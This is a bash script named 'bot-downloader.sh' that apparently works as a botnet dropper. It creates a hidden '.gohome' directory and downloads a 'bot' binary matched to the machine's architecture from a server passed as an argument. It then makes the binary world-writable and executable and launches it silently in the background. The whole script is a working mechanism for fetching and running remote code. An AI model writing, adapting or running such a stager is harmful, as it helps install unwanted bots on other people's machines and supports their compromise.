bot-downloader.sh

#!/bin/bash

DIRNAME='.gohome'
MACHINE_TYPE=`uname -m`
mkdir $DIRNAME
cd $DIRNAME
if [ $? != 0 ];
then
    echo 'exiting'
    exit
fi

getHash() {
    md5=$(md5sum bot | cut -d ' ' -f 1);
    if [[ $md5 == "" ]]; then
	echo "emtpy"
    fi 
    echo $md5
}

download() {
    if curl $1 > $2; then echo 'curl ok'; else wget $1 -O $2; fi;
}

bot_works() {
    chmod +x bot
    ./bot --test > err1 2> err1
    output=$(cat err1)
    if [[ $output == 'success' ]]; then
	echo '1'
    else
	echo '0'
    fi 
}

a=$(getHash)
if [[ $3 == *"$a"* ]]; then
    echo "hash equals"
else
    echo "hash not equal"
    echo 'downloading bot'
    if [ ${MACHINE_TYPE} == 'x86_64' ]; then
        echo 'for 64 bit'
        download $1/gob/bot64 bot
	if [ $(bot_works) == '1' ] ; then
	    echo 'works'
	else
	    echo 'does not work'
	    download $1/gob/bot32 bot
	fi 
    else
        echo 'for 32 bit'
        download $1/gob/bot32 bot
    fi
    chmod 777 bot

fi

./bot $1 $2 > out 2> err &
echo 'done';